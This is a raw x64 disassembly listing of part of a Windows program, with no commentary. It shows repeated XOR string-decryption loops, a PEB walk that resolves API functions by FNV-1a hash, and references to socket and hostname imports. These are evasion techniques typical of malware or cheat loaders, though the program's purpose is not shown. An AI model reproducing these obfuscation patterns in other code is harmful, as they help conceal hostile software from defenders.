movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x15c]
xorps xmm2, xmm1
movd dword [rbp + 0x15c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x158]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140094b80
lea rcx, [rbp + 0x158]
call fcn.14004f3e0
mov dword [rbp + 0x3f0], 0x432a0000
mov dword [rbp + 0x3f4], 0x43610000
lea rcx, [rbp + 0x3f0]
call fcn.140025d40
movaps xmm6, xmmword [0x14015f300]
movaps xmm7, xmmword [0x14015f2f0]
mov dword [rbp + 0x3f8], 0x43020000
mov dword [rbp + 0x3fc], 0x41f00000
movsd xmm0, qword [0x14015c580]
movsd qword [rbp + 0x168], xmm0
mov eax, dword [0x14015c588]
mov dword [rbp + 0x170], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x174], al
mov r8d, r12d
cmp r14d, 2
jl 0x140094d3c
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c580]
xorps xmm2, xmm0
movd dword [rbp + 0x168], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x16c]
xorps xmm2, xmm1
movd dword [rbp + 0x16c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x168]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140094d50
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d748]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d740]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d738]
xor r8d, r8d
lea rdx, [rbp + 0x3f8]
lea rcx, [rbp + 0x168]
call fcn.14003fec0
test al, al
je 0x140095070
movups xmm0, xmmword [0x14015c590]
movups xmmword [rbp + 0xa10], xmm0
movups xmm1, xmmword [0x14015c5a0]
movups xmmword [rbp + 0xa20], xmm1
mov eax, dword [0x14015c5b0]
mov dword [rbp + 0xa30], eax
mov r8d, r12d
cmp r14d, 2
jl 0x140094f59
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa14]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140094e50
cmp r8d, 0x24
jge 0x140094fa0
movsxd rax, r8d
lea r9, [rbp + 0xa10]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140094f70
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140095048
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140095048
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140095043
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140095020
cmp edx, 0x491e0a9c
je 0x140095050
test r9d, r9d
jne 0x140094ff0
mov rax, qword [rax]
jmp 0x140094fc0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xa10]
call rax
mov dword [rbp + 0xe8], 0x42700000
mov dword [rbp + 0xec], 0x43848000
lea rcx, [rbp + 0xe8]
call fcn.140025d40
mov rcx, rdi
call fcn.140025b40
mov eax, dword [0x14015c5c0]
mov dword [rbp + 0xa8], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [str.y_AGF_UCQVTH_]
mov byte [rbp + 0xac], al
movsd qword [rbp + 0xa0], xmm0
mov r8d, r12d
cmp r14d, 2
jl 0x1400951d6
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.y_AGF_UCQVTH_]
xorps xmm2, xmm0
movd dword [rbp + 0xa0], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa4]
xorps xmm2, xmm1
movd dword [rbp + 0xa4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400951f0
lea rcx, [rbp + 0xa0]
call fcn.14004f3e0
mov dword [rbp + 0x400], 0x43320000
mov dword [rbp + 0x404], 0x43848000
lea rcx, [rbp + 0x400]
call fcn.140025d40
movaps xmm6, xmmword [0x14015f300]
movaps xmm7, xmmword [0x14015f2f0]
mov dword [rbp + 0x510], 0x43020000
mov dword [rbp + 0x514], 0x41f00000
movsd xmm0, qword [0x14015c5c8]
movsd qword [rbp + 0x238], xmm0
mov eax, dword [0x14015c5d0]
mov dword [rbp + 0x240], eax
movzx eax, word [0x14015c5d4]
mov word [rbp + 0x244], ax
cmp byte [0x14015c5d5], 0
je 0x140095400
mov r8d, r12d
cmp r14d, 2
jl 0x1400953ba
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c5c8]
xorps xmm2, xmm0
movd dword [rbp + 0x238], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x23c]
xorps xmm2, xmm1
movd dword [rbp + 0x23c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x238]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400953d0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d760]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d758]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d750]
xor r8d, r8d
lea rdx, [rbp + 0x510]
lea rcx, [rbp + 0x238]
call fcn.14003fec0
test al, al
je 0x1400956f0
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0xad8], xmm0
movups xmm1, xmmword [0x14015c5e8]
movups xmmword [rbp + 0xae8], xmm1
mov eax, dword [0x14015c5f8]
mov dword [rbp + 0xaf8], eax
mov r8d, r12d
cmp r14d, 2
jl 0x1400955d9
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xadc]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400954d0
cmp r8d, 0x24
jge 0x140095620
movsxd rax, r8d
lea r9, [rbp + 0xad8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x1400955f0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400956c8
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400956c8
mov r11d, dword [rbx + 0x20]
nop dword [rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400956c3
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400956a0
cmp edx, 0x491e0a9c
je 0x1400956d0
test r9d, r9d
jne 0x140095670
mov rax, qword [rax]
jmp 0x140095640
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
lea rcx, [rbp + 0xad8]
call rax
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0xf0], 0x42700000
mov dword [rbp + 0xf4], 0x43910000
lea rcx, [rbp + 0xf0]
call fcn.140025d40
mov eax, dword [0x14015c630]
movups xmm0, xmmword [0x14015c600]
mov dword [rbp + 0x818], eax
movups xmmword [rbp + 0x7e8], xmm0
movzx eax, byte [0x14015c634]
movups xmm0, xmmword [0x14015c620]
movups xmm1, xmmword [0x14015c610]
mov byte [rbp + 0x81c], al
movups xmmword [rbp + 0x808], xmm0
movups xmmword [rbp + 0x7f8], xmm1
mov r8d, r12d
cmp r14d, 2
jl 0x1400958a9
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7ec]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400957a0
cmp r8d, 0x35
jge 0x1400958f0
movsxd rax, r8d
lea r9, [rbp + 0x7e8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400958c0
lea rcx, [rbp + 0x7e8]
call fcn.14004f3e0
mov rcx, qword [rbp + 0x80]
call fcn.140025b40
mov dword [rbp + 0x408], 0x42700000
mov dword [rbp + 0x40c], 0x43340000
lea rcx, [rbp + 0x408]
call fcn.140025d40
mov rcx, r15
call fcn.140025b40
mov dword [rbp + 0x410], 0x440c0000
mov dword [rbp + 0x414], 0x40a00000
lea rcx, [rbp + 0x410]
call fcn.140025d40
movaps xmm0, xmmword [0x14015f2d0]
movaps xmm1, xmmword [0x14015f2a0]
mov dword [rbp + 0x418], 0x41a00000
mov dword [rbp + 0x41c], 0x41f00000
movzx eax, word [0x14015c638]
mov word [rbp - 0x78], ax
cmp byte [0x14015c639], 0
je 0x140095992
mov byte [rbp - 0x78], 0x78
xor byte [rbp - 0x77], 0x31
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d790]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d788]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d780]
xor r8d, r8d
lea rdx, [rbp + 0x418]
lea rcx, [rbp - 0x78]
call fcn.14003fec0
test al, al
je 0x1400959f3
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140015c00
nop
lea rcx, [rbp + 0x1138]
call fcn.140064f60
jmp 0x140095a15
mov r15, qword [rbp + 0x78]
mov rdi, qword [rbp + 0x420]
cmp byte [0x14018e6fb], 0
je 0x14009854f
mov qword [rbp + 0x428], 0x43160000
lea rcx, [rbp + 0x428]
call fcn.140025d40
mov rcx, r15
call fcn.140025b40
call fcn.1400197f0
mov rbx, rax
mov qword [rax + 0xf4], r12
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x430], 0x44138000
mov dword [rbp + 0x434], 0x43e60000
movsd xmm0, qword [0x14015c640]
movsd qword [rbp - 0x38], xmm0
movzx ecx, word [0x14015c648]
mov word [rbp - 0x30], cx
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140095ac2
mov byte [rbp - 0x38], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x37], 0x31
xor byte [rbp - 0x36], 0x32
xor byte [rbp - 0x35], 0x33
xor byte [rbp - 0x34], 0x34
xor byte [rbp - 0x33], 0x35
xor byte [rbp - 0x32], 0x36
xor byte [rbp - 0x31], 0x37
xor byte [rbp - 0x30], 0x38
xor byte [rbp - 0x2f], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x430]
lea rcx, [rbp - 0x38]
call fcn.140007fe0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x438], 0x42480000
mov dword [rbp + 0x43c], 0x42480000
lea rcx, [rbp + 0x438]
call fcn.140025d40
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [str.wCWVZ5]
mov dword [rbp - 8], eax
movzx eax, word [0x14015c650]
mov word [rbp - 4], ax
mov byte [rbp - 8], 0x47
xor byte [rbp - 7], 0x31
xor byte [rbp - 6], 0x32
xor byte [rbp - 5], 0x33
xor al, 0x34
mov byte [rbp - 4], al
xor byte [rbp - 3], 0x35
lea rcx, [rbp - 8]
call fcn.14004f3e0
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x14015c658]
movups xmmword [rbp + 0x8c0], xmm0
movsd xmm0, qword [0x14015c668]
movsd qword [rbp + 0x8d0], xmm0
cmp byte [0x14015c66f], 0
je 0x140095d30
cmp r14d, 2
jl 0x140095cf3
movdqa xmm5, xmmword [0x14011c2a0]
mov edx, r12d
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x8c4]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x140095bf1
jmp 0x140095d30
lea r9, [rbp + 0x8c0]
mov r8d, r12d
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x140095d00
lea rcx, [rbp + 0x8c0]
call fcn.14004f3e0
mov dword [rbp + 0x440], 0x42480000
mov dword [rbp + 0x444], 0x42a00000
lea rcx, [rbp + 0x440]
call fcn.140025d40
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
mov eax, dword [0x14015c670]
mov dword [rbp + 0x90], eax
cmp byte [0x14015c673], 0
je 0x140095e60
cmp r14d, 2
jl 0x140095e1e
movdqa xmm3, xmmword [0x14011c2a0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14015f320]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14015f320]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.0000000000000000]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0x90], xmm2
jmp 0x140095e60
lea r9, [rbp + 0x90]
mov r8d, r12d
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140095e30
lea rcx, [rbp + 0x90]
call fcn.14004f3e0
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.140025400
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x14015c678]
movups xmmword [rbp + 0x8a0], xmm0
movsd xmm0, qword [0x14015c688]
movsd qword [rbp + 0x8b0], xmm0
mov eax, dword [0x14015c690]
